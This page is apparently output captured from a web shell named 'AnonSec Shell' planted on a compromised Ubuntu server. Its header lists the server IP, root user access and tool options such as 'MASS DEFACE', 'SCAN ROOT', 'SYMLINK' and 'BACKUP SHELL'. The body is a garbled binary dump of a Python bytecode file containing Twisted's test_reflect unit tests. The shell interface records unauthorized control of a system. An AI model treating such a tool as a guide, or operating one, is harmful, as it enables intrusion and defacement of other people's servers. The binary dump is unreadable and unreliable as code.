AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/test_reflect.cpython-310.pyc
o

�b�_�@s�dZddlZddlZddlmZddlmZddlmZm	Z	m
Z
mZmZddl
mZGdd�d�ZGd	d
�d
e�ZGdd�d�ZGd
d�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�d�ZGdd�de�ZGdd�d�ZGdd�dee�Zedefddd��ZGd d!�d!e�ZGd"d#�d#e�ZGd$d%�d%e�ZGd&d'�d'e�Z Gd(d)�d)e�Z!Gd*d+�d+e�Z"Gd,d-�d-e�Z#dS).z6
Test cases for the L{twisted.python.reflect} module.
�N)�deque)�reflect)�accumulateMethods�addMethodNamesToDict�fullyQualifiedName�prefixedMethodNames�prefixedMethods)�SynchronousTestCasec@�eZdZdZdd�ZdS)�Basez`
    A no-op class which can be used to verify the behavior of
    method-discovering APIs.
    cC�dS)z9
        A no-op method which can be discovered.
        N���selfr
r
�;/usr/lib/python3/dist-packages/twisted/test/test_reflect.py�method�zBase.methodN)�__name__�
__module__�__qualname__�__doc__rr
r
r
rrsrc@�eZdZdZdS)�SubzF
    A subclass of a class with a method which can be discovered.
    N)rrrrr
r
r
rr$�rc@� eZdZdZdd�Zdd�ZdS)�Separatez=
    A no-op class with methods with differing prefixes.
    cCr)zJ
        A no-op method which a matching prefix to be discovered.
        Nr
rr
r
r�good_method/rzSeparate.good_methodcCr)zO
        A no-op method with a mismatched prefix to not be discovered.
        Nr
rr
r
r�
bad_method4rzSeparate.bad_methodN)rrrrrrr
r
r
rr*src@s(eZdZdZdd�Zdd�Zdd�ZdS)	�AccumulateMethodsTestszt
    Tests for L{accumulateMethods} which finds methods on a class hierarchy and
    adds them to a dictionary.
    cC�*t�}i}t||�|�d|ji|�dS)z�
        If x is and instance of Base and Base defines a method named method,
        L{accumulateMethods} adds an item to the given dictionary with
        C{"method"} as the key and a bound method object for Base.method value.
        rN)rr�assertEqualr�r�x�outputr
r
r�
test_ownClass@s
z$AccumulateMethodsTests.test_ownClasscCr)a
        If x is an instance of Sub and Sub is a subclass of Base and Base
        defines a method named method, L{accumulateMethods} adds an item to the
        given dictionary with C{"method"} as the key and a bound method object
        for Base.method as the value.
        rN)rrr rr!r
r
r�test_baseClassKs
z%AccumulateMethodsTests.test_baseClasscCs,t�}i}t||d�|�d|ji|�dS)z�
        If a prefix is given, L{accumulateMethods} limits its results to
        methods beginning with that prefix.  Keys in the resulting dictionary
        also have the prefix removed from them.
        �good_rN)rrr rr!r
r
r�test_prefixWsz"AccumulateMethodsTests.test_prefixN)rrrrr$r%r'r
r
r
rr:s
rc@r)�PrefixedMethodsTestszr
    Tests for L{prefixedMethods} which finds methods on a class hierarchy and
    adds them to a dictionary.
    cCs"t�}t|�}|�|jg|�dS)zc
        L{prefixedMethods} returns a list of the methods discovered on an
        object.
        N)rrr rr!r
r
r�test_onlyObjectisz$PrefixedMethodsTests.test_onlyObjectcCs$t�}t|d�}|�|jg|�dS)zo
        If a prefix is given, L{prefixedMethods} returns only methods named
        with that prefix.
        r&N)rrr rr!r
r
rr'rs
z PrefixedMethodsTests.test_prefixN)rrrrr)r'r
r
r
rr(cs	r(c@r)�PrefixedMethodNamesTestsz+
    Tests for L{prefixedMethodNames}.
    cCs|�dgttd��dS)z�
        L{prefixedMethodNames} returns a list including methods with the given
        prefix defined on the class passed to it.
        rr&N)r rrrr
r
r�test_method�sz$PrefixedMethodNamesTests.test_methodcCs(Gdd�dt�}|�dgt|d��dS)z�
        L{prefixedMethodNames} returns a list included methods with the given
        prefix defined on base classes of the class passed to it.
        c@�eZdZdS)z<PrefixedMethodNamesTests.test_inheritedMethod.<locals>.ChildN�rrrr
r
r
r�Child��r.rr&N)rr r)rr.r
r
r�test_inheritedMethod�sz-PrefixedMethodNamesTests.test_inheritedMethodN)rrrrr+r0r
r
r
rr*|sr*c@r
)�AddMethodNamesToDictTestsz,
    Tests for L{addMethodNamesToDict}.
    cCsFGdd�d�}Gdd�dt|�}i}t||d|�|�ddi|�dS)	z�
        If C{baseClass} is passed to L{addMethodNamesToDict}, only methods which
        are a subclass of C{baseClass} are added to the result dictionary.
        c@r,)z;AddMethodNamesToDictTests.test_baseClass.<locals>.AlternateNr-r
r
r
r�	Alternate�r/r2c@�eZdZdd�ZdS)z7AddMethodNamesToDictTests.test_baseClass.<locals>.ChildcS�dS�Nr
rr
r
r�good_alternate��zFAddMethodNamesToDictTests.test_baseClass.<locals>.Child.good_alternateN)rrrr6r
r
r
rr.��r.r&�	alternate�N)rrr )rr2r.�resultr
r
rr%�s
z(AddMethodNamesToDictTests.test_baseClassN)rrrrr%r
r
r
rr1��r1c@r
)�Summerz9
    A class we look up as part of the LookupsTests.
    cCr)z
        Do something.
        Nr
rr
r
r�	reallySet�rzSummer.reallySetN)rrrrr>r
r
r
rr=�r<r=c@sxeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�LookupsTestszC
    Tests for L{namedClass}, L{namedModule}, and L{namedAny}.
    cC�|�t�d�t�dS)zY
        L{namedClass} should return the class object for the name it is passed.
        � twisted.test.test_reflect.SummerN)�assertIsr�
namedClassr=rr
r
r�test_namedClassLookup��z"LookupsTests.test_namedClassLookupcC�"ddlm}|�t�d�|�dS)zc
        L{namedModule} should return the module object for the name it is
        passed.
        r��monkey�twisted.python.monkeyN)�twisted.pythonrHrBr�namedModule�rrHr
r
r�test_namedModuleLookup�sz#LookupsTests.test_namedModuleLookupcCs ddl}|�t�d�|j�dS)zY
        L{namedAny} should return the package object for the name it is passed.
        rN�twisted.python)rJrBr�namedAny�python�r�twistedr
r
r�test_namedAnyPackageLookup�sz'LookupsTests.test_namedAnyPackageLookupcCrF)zX
        L{namedAny} should return the module object for the name it is passed.
        rrGrIN)rJrHrBrrOrLr
r
r�test_namedAnyModuleLookup�sz&LookupsTests.test_namedAnyModuleLookupcCr@)zW
        L{namedAny} should return the class object for the name it is passed.
        rAN)rBrrOr=rr
r
r�test_namedAnyClassLookup�rEz%LookupsTests.test_namedAnyClassLookupcCs|�t�d�tj�dS)z�
        L{namedAny} should return the object an attribute of a non-module,
        non-package object is bound to for the name it is passed.
        z*twisted.test.test_reflect.Summer.reallySetN)r rrOr=r>rr
r
r�test_namedAnyAttributeLookup�s�z)LookupsTests.test_namedAnyAttributeLookupcCs|�t�d�tjj�dS)z�
        L{namedAny} should return the object an attribute of an object which
        itself was an attribute of a non-module, non-package object is bound to
        for the name it is passed.
        z2twisted.test.test_reflect.Summer.reallySet.__doc__N)rBrrOr=r>rrr
r
r�"test_namedAnySecondAttributeLookup�s�z/LookupsTests.test_namedAnySecondAttributeLookupcCsD|�ttjd�|�ttjd�|�ttjd�|�ttjd�dS)z�
        Exceptions raised by modules which L{namedAny} causes to be imported
        should pass through L{namedAny} to the caller.
        ztwisted.test.reflect_helper_ZDEztwisted.test.reflect_helper_VEztwisted.test.reflect_helper_IEN)�assertRaises�ZeroDivisionErrorrrO�
ValueError�ImportErrorrr
r
r�test_importExceptions�s����z"LookupsTests.test_importExceptionscCs4|�ttjd�|�ttjd�|�ttjd�dS)z�
        If segments on the end of a fully-qualified Python name represents
        attributes which aren't actually present on the object represented by
        the earlier segments, L{namedAny} should raise an L{AttributeError}.
        ztwisted.nosuchmoduleintheworldz twisted.nosuch.modulein.theworldz0twisted.test.test_reflect.Summer.nosuchattributeN)rX�AttributeErrorrrOrr
r
r�test_attributeExceptions
s���z%LookupsTests.test_attributeExceptionscCs�|�tjtjd�}|�t|�d�|�tjtjd�}|�t|�d�|�tjtjd�}|�t|�d�|�tjtjd�}|�t|�d�d	D]}|�tjtj|�}|�t|�d
|f�qFdS)a�
        Passing a name which isn't a fully-qualified Python name to L{namedAny}
        should result in one of the following exceptions:
         - L{InvalidName}: the name is not a dot-separated list of Python
           objects
         - L{ObjectNotFound}: the object doesn't exist
         - L{ModuleNotFound}: the object doesn't exist and there is only one
           component in the name
        �nosuchmoduleintheworldz(No module named 'nosuchmoduleintheworld'z@#$@(#.!@(#!@#z('@#$@(#.!@(#!@#' does not name an objectztcelfer.nohtyp.detsiwtz0'tcelfer.nohtyp.detsiwt' does not name an object�zEmpty module name)z.twistedztwisted.ztwisted..pythonzOname must be a string giving a '.'-separated list of Python identifiers, not %rN)rXr�ModuleNotFoundrOr �str�ObjectNotFound�InvalidName)r�err�invalidNamer
r
r�test_invalidNames"s.

�
�
����zLookupsTests.test_invalidNamescCs.dD]}t�}tj||d�}|�||�qdS)zk
        When module import fails with ImportError it returns the specified
        default value.
        )�nosuchmtopodule�no.such.module��defaultN)�objectr�
requireModulerB)r�namerkr;r
r
r�test_requireModuleImportErrorGs
�z*LookupsTests.test_requireModuleImportErrorcCst�d�}|�|�dS)zI
        When module import fails it returns L{None} by default.
        riN)rrm�assertIsNone)rr;r
r
r�test_requireModuleDefaultNoneSs
z*LookupsTests.test_requireModuleDefaultNonecCs,ddlm}t�}|�tjd|d�|�dS)ze
        When module import succeed it returns the module and not the default
        value.
        rrGrIrjN)rJrHrlrBrrm)rrHrkr
r
r�!test_requireModuleRequestedImport[s�z.LookupsTests.test_requireModuleRequestedImportN)rrrrrDrMrSrTrUrVrWr\r^rgrorqrrr
r
r
rr?�s	
%r?c@s0eZdZdZdZdefdd�Zdefdd�ZdS)�	BreakableF�returncC�|jrtd��dS)Nzstr!z<Breakable>)�breakStr�RuntimeErrorrr
r
r�__str__o�zBreakable.__str__cCru)Nzrepr!zBreakable())�	breakReprrwrr
r
r�__repr__uryzBreakable.__repr__N)rrrrzrvrbrxr{r
r
r
rrsjs
rsc@seZdZdZedd��ZdS)�
BrokenTypeFcCru)Nzno namer|)�	breakNamerwrr
r
rrszBrokenType.__name__N)rrrr}�propertyr
r
r
rr||sr|�BTBaseT)rzrvc@seZdZedd��ZdS)�NoClassAttrcCs|jSr5)�	not_class)r"r
r
r�<lambda>�szNoClassAttr.<lambda>N)rrrr~�	__class__r
r
r
rr��sr�c@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�
SafeReprTestsz2
    Tests for L{reflect.safe_repr} function.
    cCs2gd�df}|�tttj|��ttt|���dS)zg
        L{reflect.safe_repr} produces the same output as C{repr} on a working
        object.
        �r:���aN)r �list�mapr�	safe_repr�repr)r�xsr
r
r�test_workingRepr�s&zSafeReprTests.test_workingReprcC�Jt�}d|_t�|�}|�d|�|�tj�t�d|�|�d|�dS)z�
        L{reflect.safe_repr} returns a string with class name, address, and
        traceback when the repr call failed.
        TzBreakable instance at 0xr�RuntimeError: repr!N)	rsrzrr��assertIn�os�path�splitext�__file__�r�b�bReprr
r
r�test_brokenRepr�s
zSafeReprTests.test_brokenReprcCs&t�}d|_|�t�|�t|��dS)zT
        L{reflect.safe_repr} isn't affected by a broken C{__str__} method.
        TN)rsrvr rr�r��rr�r
r
r�test_brokenStr�szSafeReprTests.test_brokenStrcC�*Gdd�dt�}t�|�t�|��dS)Nc@r)z-SafeReprTests.test_brokenClassRepr.<locals>.XTN�rrrrzr
r
r
r�X�rr��rrr��rr�r
r
r�test_brokenClassRepr��
z"SafeReprTests.test_brokenClassReprcCsFGdd�dt�}t�|�}dt|�d�d�}|�||�d�d�dS)	z�
        C{id} is used to print the ID of the object in case of an error.

        L{safe_repr} includes a traceback after a newline, so we only check
        against the first line of the repr.
        c@r)z2SafeReprTests.test_brokenReprIncludesID.<locals>.XTNr�r
r
r
rr��rr�z<BrokenType instance at 0xr"z with repr error:�
rN)rrr��idr �split)rr��xRepr�
xReprExpectedr
r
r�test_brokenReprIncludesID�s
z'SafeReprTests.test_brokenReprIncludesIDcCr�)Nc@r)z,SafeReprTests.test_brokenClassStr.<locals>.XTN�rrrrvr
r
r
rr��rr�r�r�r
r
r�test_brokenClassStr�r�z!SafeReprTests.test_brokenClassStrcCr�)z�
        If an object raises an exception when accessing its C{__class__}
        attribute, L{reflect.safe_repr} uses C{type} to retrieve the class
        object.
        T�NoClassAttr instance at 0xrr�N)	r�rzrr�r�r�r�r�r�r�r
r
r�test_brokenClassAttribute��
z'SafeReprTests.test_brokenClassAttributecC�PGdd�dt�}t�|��}|�d|�|�tj�t�d|�|�d|�dS)z�
        If a class raises an exception when accessing its C{__name__} attribute
        B{and} when calling its C{__str__} implementation, L{reflect.safe_repr}
        returns 'BROKEN CLASS' instead of the class name.
        c@r)z6SafeReprTests.test_brokenClassNameAttribute.<locals>.XTN�rrrr}r
r
r
rr��rr��<BROKEN CLASS AT 0xrr�N)rrr�r�r�r�r�r�)rr�r�r
r
r�test_brokenClassNameAttribute��
z+SafeReprTests.test_brokenClassNameAttributeN)rrrrr�r�r�r�r�r�r�r�r
r
r
rr��s
r�c@s`eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�SafeStrTestsz1
    Tests for L{reflect.safe_str} function.
    cCs"gd�}|�t�|�t|��dS)Nr�)r r�safe_strrb�rr"r
r
r�test_workingStr�szSafeStrTests.test_workingStrcC�t�}d|_t�|�dS�NT)rsrvrr�r�r
r
rr���zSafeStrTests.test_brokenStrcCsd}|�t�|�d�dS)zh
        L{safe_str} for C{str} with ascii-only data should return the
        value unchanged.
        �aN)r rr�r�r
r
r�test_workingAscii�szSafeStrTests.test_workingAsciicCs d}|�t�|�|�d��dS)zw
        L{safe_str} for C{bytes} with utf-8 encoded data should return
        the value decoded into C{str}.
        stüst�utf-8N)r rr��decoder�r
r
r�test_workingUtf8_3szSafeStrTests.test_workingUtf8_3cCs"d}t�|�}|�|t|��dS)z=
        Use str() for non-utf8 bytes: "b'non-utf8'"
        ��N)rr�r rb)rr"�xStrr
r
r�test_brokenUtf8s
zSafeStrTests.test_brokenUtf8cCr�r�)rsrzrr�r�r
r
rr�r�zSafeStrTests.test_brokenReprcCr�)Nc@r)z+SafeStrTests.test_brokenClassStr.<locals>.XTNr�r
r
r
rr�rr��rrr�r�r
r
rr�r�z SafeStrTests.test_brokenClassStrcCr�)Nc@r)z,SafeStrTests.test_brokenClassRepr.<locals>.XTNr�r
r
r
rr�rr�r�r�r
r
rr�r�z!SafeStrTests.test_brokenClassReprcCr�)z�
        If an object raises an exception when accessing its C{__class__}
        attribute, L{reflect.safe_str} uses C{type} to retrieve the class
        object.
        Tr�r�RuntimeError: str!N)	r�rvrr�r�r�r�r�r�)rr��bStrr
r
rr�#r�z&SafeStrTests.test_brokenClassAttributecCr�)z�
        If a class raises an exception when accessing its C{__name__} attribute
        B{and} when calling its C{__str__} implementation, L{reflect.safe_str}
        returns 'BROKEN CLASS' instead of the class name.
        c@r)z5SafeStrTests.test_brokenClassNameAttribute.<locals>.XTNr�r
r
r
rr�7rr�r�rr�N)rrr�r�r�r�r�r�)rr�r�r
r
rr�0r�z*SafeStrTests.test_brokenClassNameAttributeN)rrrrr�r�r�r�r�r�r�r�r�r�r
r
r
rr��s
r�c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�FilenameToModuleTestsz1
    Test L{filenameToModuleName} detection.
    cCs�tj�|��dd�|_t�|j�ttj�|jd�d��
}|�d�Wd�n1s,wYttj�tj�|j�d�d��}|�d�Wd�dS1sQwYdS)N�fakepackage�testz__init__.py�wr`)r�r��join�mktemp�makedirs�open�write�dirname)r�fr
r
r�setUpEs� "�zFilenameToModuleTests.setUpcCs<t�|j�}|�|d�t�|jtjj�}|�|d�dS)zk
        L{filenameToModuleName} returns the correct module (a package) given a
        directory.
        zfakepackage.testN)r�filenameToModuleNamer�r r��sep�r�moduler
r
r�test_directoryMsz$FilenameToModuleTests.test_directorycCs&t�tj�|jd��}|�|d�dS)zh
        L{filenameToModuleName} returns the correct module given the path to
        its file.
        ztest_reflect.py�fakepackage.test.test_reflectN)rr�r�r�r�r r�r
r
r�	test_fileWs�zFilenameToModuleTests.test_filecCs,t�tj�|j�d�d��}|�|d�dS)zo
        L{filenameToModuleName} returns the correct module given a C{bytes}
        path to its file.
        r�stest_reflect.pyr�N)rr�r�r�r��encoder r�r
r
r�
test_bytesas�z FilenameToModuleTests.test_bytesN)rrrrr�r�r�r�r
r
r
rr�@s

r�c@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�FullyQualifiedNameTestsz)
    Test for L{fullyQualifiedName}.
    cCs|�t|�|�dS)ze
        Helper to check that fully qualified name of C{obj} results to
        C{expected}.
        N)r r)r�obj�expectedr
r
r�_checkFullyQualifiedNamersz0FullyQualifiedNameTests._checkFullyQualifiedNamecCs.ddl}|�|d�ddl}|�|jd�dS)zd
        L{fullyQualifiedName} returns the full name of a package and a
        subpackage.
        rNrRrN)rRr�rJrPrQr
r
r�test_packageysz$FullyQualifiedNameTests.test_packagecCsddl}|�|jjd�dS)zV
        L{fullyQualifiedName} returns the name of a module inside a package.
        rNztwisted.python.compat)�twisted.python.compatr�rP�compatrQr
r
r�test_module�sz#FullyQualifiedNameTests.test_modulecCs|�tt�d��dS)zS
        L{fullyQualifiedName} returns the name of a class and its module.
        z.FullyQualifiedNameTestsN)r�r�rrr
r
r�
test_class�s
�z"FullyQualifiedNameTests.test_classcCs|�td�dS)zY
        L{fullyQualifiedName} returns the name of a function inside its module.
        z)twisted.python.reflect.fullyQualifiedNameN)r�rrr
r
r�
test_function�s�z%FullyQualifiedNameTests.test_functioncCs"|�|jt�d|jj�d��dS)zs
        L{fullyQualifiedName} returns the name of a bound method inside its
        class and its module.
        �.z.test_boundMethodN)r��test_boundMethodrr�rr
r
rr��s�z(FullyQualifiedNameTests.test_boundMethodcCs$|�|jjt�d|jj�d��dS)zv
        L{fullyQualifiedName} returns the name of an unbound method inside its
        class and its module.
        r�z.test_unboundMethodN)r�r��test_unboundMethodrrr
r
rr��s�z*FullyQualifiedNameTests.test_unboundMethodN)rrrrr�r�r�r�r�r�r�r
r
r
rr�ms
r�c@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�ObjectGrepTestscCsJt�}d|i}|di}|�dt�||tj��|�dt�||tj��dS)zV
        Test references search through a dictionary, as a key or as a value.
        Nz[None]z{None}�rlr�r�objgrep�isSame)r�o�d1�d2r
r
r�test_dictionary�s
zObjectGrepTests.test_dictionarycCs*t�}d|g}|�dt�||tj��dS)z8
        Test references search through a list.
        N�[1]r�)rr��Lr
r
r�	test_list��zObjectGrepTests.test_listcCs*t�}|df}|�dt�||tj��dS)z9
        Test references search through a tuple.
        N�[0]r�)rr��Tr
r
r�
test_tuple�r�zObjectGrepTests.test_tuplecCs<Gdd�d�}t�}|�}||_|�dt�||tj��dS)zE
        Test references search through an object attribute.
        c@r,)z,ObjectGrepTests.test_instance.<locals>.DummyNr-r
r
r
r�Dummy�r/r�z.oN)rlr�r�rr�r�)rr�r��dr
r
r�
test_instance�s
zObjectGrepTests.test_instancecCs:Gdd�d�}|�}t�|�}|�dt�||tj��dS)zB
        Test references search through a weakref object.
        c@r,)z+ObjectGrepTests.test_weakref.<locals>.DummyNr-r
r
r
rr��r/r�z()N)�weakref�refr�rr�r�)rr�r��w1r
r
r�test_weakref�s
zObjectGrepTests.test_weakrefcCsnGdd�d�}|�}|j}|�dt�||jtj��|�dt�||jjtj��|�dt�||jtj��dS)zK
        Test references search through method special attributes.
        c@r3)z/ObjectGrepTests.test_boundMethod.<locals>.DummycSr4r5r
rr
r
r�dummy�r7z5ObjectGrepTests.test_boundMethod.<locals>.Dummy.dummyN)rrrr�r
r
r
rr��r8r�z	.__self__z.__self__.__class__z	.__func__N)r�r�rr��__self__r�r��__func__)rr�r��mr
r
rr��s�z ObjectGrepTests.test_boundMethodc
Cs�Gdd�d�}|�}dddd|di}dd|dg}|i|�f}d	d
|d�}|�}||_|j}t�|�}	|�dt�|	|tj��dS)
zF
        Test references search using complex set of objects.
        c@r3)z.ObjectGrepTests.test_everything.<locals>.DummycSr4r5r
rr
r
rrr7z5ObjectGrepTests.test_everything.<locals>.Dummy.methodN)rrrrr
r
r
rr�r8r�r
�bazN�Quux�Fooshr��foo�bar)rr:r�z"().__self__.attr[2][0][2]{'Foosh'})�attrrr�r�r�rr�r�)
rr�r��D1r�r��D2�irr�r
r
r�test_everything�s
�zObjectGrepTests.test_everythingc	Cs|g}|g}||g}||g}|�dgtj||tjdd��|�ddgtj||tjdd��|�gd�tj||tjdd��dS)	z6
        Test the depth of references search.
        r�r:)�maxDepth�[1][0]r�)r�rz	[1][1][0]r�N)r rr�r�)rr�r��cr�r
r
r�test_depthLimits��zObjectGrepTests.test_depthLimitcCs<t�}t�}|�d�|�|�|�dt�||tj��dS)z@
        Test references search through a deque object.
        Nr�)rlr�appendr�rr�r�)rr��Dr
r
r�
test_deque's


zObjectGrepTests.test_dequeN)rrrr�r�r�r�r�r�r
rrr
r
r
rr��s		
r�c@r3)�
GetClassTestscCs@Gdd�d�}|�}|�t�|�jd�|�t�|�jd�dS)Nc@r,)z(GetClassTests.test_new.<locals>.NewClassNr-r
r
r
r�NewClass5r/r�type)r r�getClassr)rr�newr
r
r�test_new4szGetClassTests.test_newN)rrrrr
r
r
rr3r8r)$rr�r��collectionsrrJr�twisted.python.reflectrrrrr�twisted.trial.unittestr	�TestCaserrrrr(r*r1r=r?rsrr|rr�r�r�r�r�r�rr
r
r
r�<module>s8)5
]V-E

Anon7 - 2022
AnonSec Team